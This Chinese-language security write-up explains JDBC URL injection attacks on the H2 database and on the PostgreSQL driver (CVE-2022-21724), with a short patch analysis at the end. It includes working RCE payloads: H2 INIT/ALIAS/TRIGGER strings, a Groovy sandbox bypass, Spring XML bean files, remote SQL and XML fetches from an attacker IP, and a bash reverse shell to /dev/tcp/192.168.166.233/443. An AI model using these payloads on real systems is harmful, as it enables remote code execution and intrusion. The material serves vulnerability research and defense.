文章目录
前言
JDBC是Java提供的一个接口,通常用于连接数据库,各种数据库引擎会实现这个接口编写自己的JDBC implement。常见的JDBC使用方法是在配置文件中写好JDBC使用的引擎,以及连接数据库的URL,如:
// JDBC连接的URL, 不同数据库有不同的格式:
String JDBC_URL = "jdbc:mysql://localhost:3306/test";
String JDBC_USER = "root";
String JDBC_PASSWORD = "password"; // 获取连接:
Connection conn = DriverManager.getConnection(JDBC_URL, JDBC_USER, JDBC_PASSWORD);
// TODO: 访问数据库
...
// 关闭连接:
conn.close();
在一些场景下(比如后台修改数据库配置、测试数据库连接等),用户可以控制JDBC中的URL,这可能会造成安全问题。HITB2021SIN 中的议题 <Make JDBC Attacks Brilliant Again> 列举了H2、IBM DB2、MODEShape、Apache Derby、SQLite等数据库Driver,在Connect URL可控情况下的安全问题。
1、H2 database
h2 database是一个纯Java编写的关系型数据库,可以在内存中运行,通常用在小型的应用,或者单元测 试中。有点类似于sqlite的角色,但因为它是纯Java的,跨平台使用更加方便。
1.1 H2 database console未授权访问->JNDI注入
h2 database console可以单独启动(因为h2内置了一个Web Server):
也可以集成Springboot 使用:
依赖:
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-data-jpa</artifactId>
</dependency>
<dependency>
<groupId>com.h2database</groupId>
<artifactId>h2</artifactId>
<scope>runtime</scope>
</dependency>
在application.properties
文件进行相关配置,以允许访问h2 database console,路径默认为/h2-console
:
spring.h2.console.enabled=true
spring.h2.console.settings.web-allow-others=true
JNDI注入复现
注意:这里的配置可以自定义
- Setting Name: Generic JNDI Data Source (名称随意)
- Driver Class:
javax.naming.InitialContext
(JDK自带也不用考虑额外的驱动) - JDBC URL: ldap://xxxxxx/abc(恶意LDAP Server)
- 由于是匿名的,User Name和Password均可为空
点击"Save"保存,然后点击"Connect",会加载远程CodeBase的恶意类并执行.
1.2 H2 database任意命令执行
在h2 database console,登录任意数据库后,进入管理页面后,可执行任意h2 sql语句。
参考h2 database的文档(参考[10]
),可看到其支持的指令中,有以下两个可用来自定义函数的指令,函数里面可执行任意代码。
CREATE ALIAS
CREATE TRIGGER
下面使用CREATE ALIAS
来定义一个shell函数,并调用它:
CREATE ALIAS shell4 AS $$void shell(String... s) throws Exception { new java.lang.ProcessBuilder(s).start(); }$$;
SELECT shell4('/bin/sh','-c','open -a Calculator');
注意
这里有个前提,需要登录已存在的数据库,或者有创建数据库的权限。
如下图,如果没有创建数据库的权限,且test2是一个不存在的数据库名的话,点击connect,则会报下面的错误:
如果是Springboot方式集成h2 database的话,是没有创建数据库的权限的;
如果是h2 jar单独启动的话,默认也是不授予创建数据库的权限的,需要添加启动参数-ifNotExists
才可以。
1.3 JDBC攻击->RCE
h2 console这个场景是支持执行多条SQL语句的,但是大部分场景下,用户只能控制JDBC的URL,此时是否还能执行任意命令呢?
从官方文档可了解到,
可以在JDBC URL中通过INIT
属性,使连接数据库时自动执行指定的DDL/DML语句,以下是官方说明:
可以在INIT
后指定多条语句,语句之间使用分号进行分隔,同时使用反斜杠进行转义。
如下:
jdbc:h2:~/tmp/h2-db/test1;INIT=CREATE ALIAS shell6 AS $$void shell(String... s) throws Exception { new java.lang.ProcessBuilder(s).start()\; }$$\;select shell6('/bin/sh','-c','open -a Calculator')
点击connect后,执行了命令,同时进入了管理页面。
也可以使用RUNSCRIPT
指令运行sql脚本文件:
jdbc:h2:~/tmp/h2-db/test1;INIT=RUNSCRIPT FROM '~/tmp/poc.sql'
有意思的是,在对sql文件内容读取时,使用的是URL对象,也就是说它除了支持本地文件外,还支持远程sql文件。所以可通过http指定远程的sql文件。
jdbc:h2:~/tmp/h2-db/test1;INIT=RUNSCRIPT FROM 'http://192.168.166.233:8000/poc.sql'
1.4 JDBC攻击->无外网利用->RCE
其实1.3
小节的最开始,已经介绍了一种无需出外网的利用方式,即通过分号进行分隔多个语句便可实现,而且无第三方依赖。
但是1.3
小节中另一种方式,即通过指定远程sql文件来实现RCE。但一些实际环境是不支持连接外网的,因此无法使用RUNSCRIPT FROM
来指定远程sql文件。
阅读 CREATE ALIAS
文档可以发现,我们可以使用Groovy替代原生Java来定义用户函数:
还记得Groovy吧,在2019年,@Orange 曾发表过一个Jenkins远程代码执行漏洞,其中介绍过他遇到 的Groovy沙箱,并提出了使用元编程(Meta Programming)特性绕过沙箱的方法。
简单来说,就是利用Groovy元编程的技巧,在编译Groovy语句(而非执行时)就执行攻击者预期的代码。
直接使用@Orange 在文中给出的Payload作为 CREATE ALIAS
的源代码,然后再将完整SQL语句作为 INIT
属性的值:
CREATE ALIAS shell2 AS $$@groovy.transform.ASTTest(value={
assert new java.lang.ProcessBuilder('/bin/sh','-c','open -a Calculator').start();
})
def x$$
前提是:
<dependency>
<groupId>org.codehaus.groovy</groupId>
<artifactId>groovy-sql</artifactId>
<version>3.0.8</version>
</dependency>
1.5 JDBC攻击->无第三方依赖->RCE
上面利用Groovy的方式,前提是目标环境存在Groovy的依赖。
来看一下另一种无需出网、也无第三方依赖的方式.
前文提到,支持用户自定义函数(UDF)的除了 CREATE ALIAS
,还有 CREATE TRIGGER
,它的详细介绍见官方文档(参考11
). 其中有这样一段描述:
可以看到,javax.script.ScriptEngineManager
可以用于创建 org.h2.api.Trigger
对象。 javax.script.ScriptEngineManager
是Java中用于执行脚本的引擎,同时用来实现Java与这些脚本之间的交互,所以使用javax.script.ScriptEngineManager
是可以调用Java对象和方法的。而Java 8原生自带了JavaScript的脚本引擎。
关键在于,在TriggerObject#loadFromSource()
方法中,不仅编译了脚本,还调用ScriptEngine#eval()
方法来执行脚本。只要是//javascript
开头就会被认为是JavaScript代码。
构造JDBC URL如下:
jdbc:h2:~/tmp/h2-db/test1;INIT=CREATE TRIGGER shell3 BEFORE SELECT ON INFORMATION_SCHEMA.TABLES AS $$//javascript
new java.lang.ProcessBuilder('/bin/sh','-c','open -a Calculator').start()$$
这里注意,//javascript
后面有个换行符,由于在Console页面上无法输入换行,所以利用burpsuite抓包并改包(用%0d%0a
或 %0d
或 %0a
跟在//javascript
后面都可以)。
2、PostgreSQL
2.1 PostgreSQL JDBC Driver RCE - CVE-2022-21724
这同样是在JDBC Connection URL可控情况下将会出现某些安全问题。
pgjdbc根据通过authenticationPluginClassName
、sslhostnameverifier
、socketFactory
、sslfactory
、sslpasswordcallback
连接属性提供的类名来实例化插件实例。
然而,在实例化类之前,驱动程序并没有验证该类是否实现了预期的接口。这可能导致通过任意类加载远程代码执行。
这里有一个使用Spring框架的开箱即用类的攻击例子:
DriverManager.getConnection("jdbc:postgresql://node1/test?socketFactory=org.springframework.context.support.ClassPathXmlApplicationContext&socketFactoryArg=http://target/exp.xml");
参考Spring Boot Connect to PostgreSQL Database Examples 来创建一个Springboot工程。(Springboot 2.6.0 + postgresql 42.3.1)
注:复现漏洞无需搭建postgresql数据库的环境。只有在复现sslfactory/sslfactoryarg
属性的情况时,使用nc开启某个端口的监听来代替postgresql的端口即可!
SpringbootPostgresqlApplication.java
@SpringBootApplication
public class SpringbootPostgresqlApplication implements CommandLineRunner {
@Autowired
private JdbcTemplate jdbcTemplate;
public static void main(String[] args) {
SpringApplication.run(SpringbootPostgresqlApplication.class, args);
}
@Override
public void run(String... args) throws Exception {
Map<String, Object> objMap = jdbcTemplate.queryForMap("select * from students where stu_id=?", new Object[]{5});
System.out.println("student=" + objMap.toString());
}
}
这里为了复现简单,直接在application.properties
里写死jdbc url:
spring.datasource.url=jdbc:postgresql://vulfocus.my:49157/test?socketFactory=org.springframework.context.support.ClassPathXmlApplicationContext&socketFactoryArg=http://192.168.166.233:8000/poc.xml
2.1.1 socketFactory / socketFactoryArg
和其它数据库的JDBC Driver一样,PostgreSQL JDBC Driver也支持很多property,先看CVE-2022-21724里用到的第一组property:socketFactory / socketFactoryArg
。
在JDBC url中,先将socketFactory属性值置空,运行,查看报错:
在SocketFactory#getSocketFactory()
方法中下断点:
进入ObjectFactory#instantiate()
可以实例化socketFactory属性指定的类,它的构造方法最多只能有一个参数,要实现RCE,这里可以利用的是参数类型为String的。而这里的参数则来自socketFactoryArg属性。
如果熟悉或初学Spring编程的,也许可以想到以下两个类:
org.springframework.context.support.ClassPathXmlApplicationContext
org.springframework.context.support.FileSystemXmlApplicationContext
这两个类都可以用来通过该解析一个定义了spring bean的xml文件,去实现bean的加载。常见代码如下:
因此,Payload 如下:
<?xml version="1.0" encoding="UTF-8" ?>
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="
http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg >
<list>
<value>open</value>
<value>-a</value>
<value>Calculator</value>
</list>
</constructor-arg>
</bean>
</beans>
启动项目后便可复现:
反弹shell:
<?xml version="1.0" encoding="UTF-8" ?>
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="
http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg >
<list>
<value>/bin/sh</value>
<value>-c</value>
<value>bash -i >& /dev/tcp/192.168.166.233/443 0>&1</value>
</list>
</constructor-arg>
</bean>
</beans>
2.1.2 sslfactory / sslfactoryarg
其实和socketFactory
/socketFactoryArg
差不多,只是多了对SSL加密的判断,可以看到建连后收到的请求以S
开头则表示SSL是成功支持的,则进入SSLSocketFactory()
然后进入SocketFactory#getSslSocketFactory()
,后面的逻辑就跟前面 socketFactory
/socketFactoryArg
的一样了。
只要在建立连接后,返回S
,便可触发。
2.1.3 loggerLevel / loggerFile
可以利用这两个属性进行任意文件写入,jdbc url如下:
spring.datasource.url=jdbc:postgresql://vulfocus.my:49157/test?whatever=aaaaaaaaaaaabbbbbbbccccccc&loggerLevel=TRACE&loggerFile=pgjdbcaaaaaaaaaaaaaaaaaa.log
运行后,会生成日志文件pgjdbcaaaaaaaaaaaaaaaaaaj.log
,该文件内容如下:
可以看到即便数据库连接出现错误,也会把连接过程的报错信息也写入你指定的日志文件里。因此这两个属性可结合低版本存在漏洞的日志组件如apache log4j2 进行利用。
比如:在JDBC url中注入log4j2 CVE-2021-44228 的payload,而数据库的连接信息都被记录在日志里,当存在漏洞的log4j2组件读取日志文件时,便会造成RCE。
但是从 pgjdbc 42.3.3 版本开始,这两个属性已不再支持。官方文档也已更新:
补丁分析
添加了代码逻辑验证该类是否实现了预期的接口。
参考
[1] https://conference.hitb.org/files/hitbsecconf2021sin/materials/D1T2%20-%20Make%20JDBC%20Attacks%20Brilliant%20Again%20-%20Xu%20Yuanzhen%20&%20Chen%20Hongkun.pdf
[2] https://www.youtube.com/watch?v=MJWI8YXH1lg
[3] http://tttang.com/archive/1462/
[4] https://mp.weixin.qq.com/s/jb7mbPWdMp1vlgF8F1mshg
[5] https://paper.seebug.org/1832
[6] https://github.com/su18/JDBC-Attack
[7] https://vulhub.org/#/environments/h2database/h2-console-unacc/
[8] https://www.h2database.com/html/features.html#database_url
[9] https://www.h2database.com/html/grammar.html#dollar_quoted_string
[10] https://www.h2database.com/html/commands.html#create_alias
[11] https://www.h2database.com/html/commands.html#create_trigger
[12] https://jdbc.postgresql.org/documentation/head/connect.html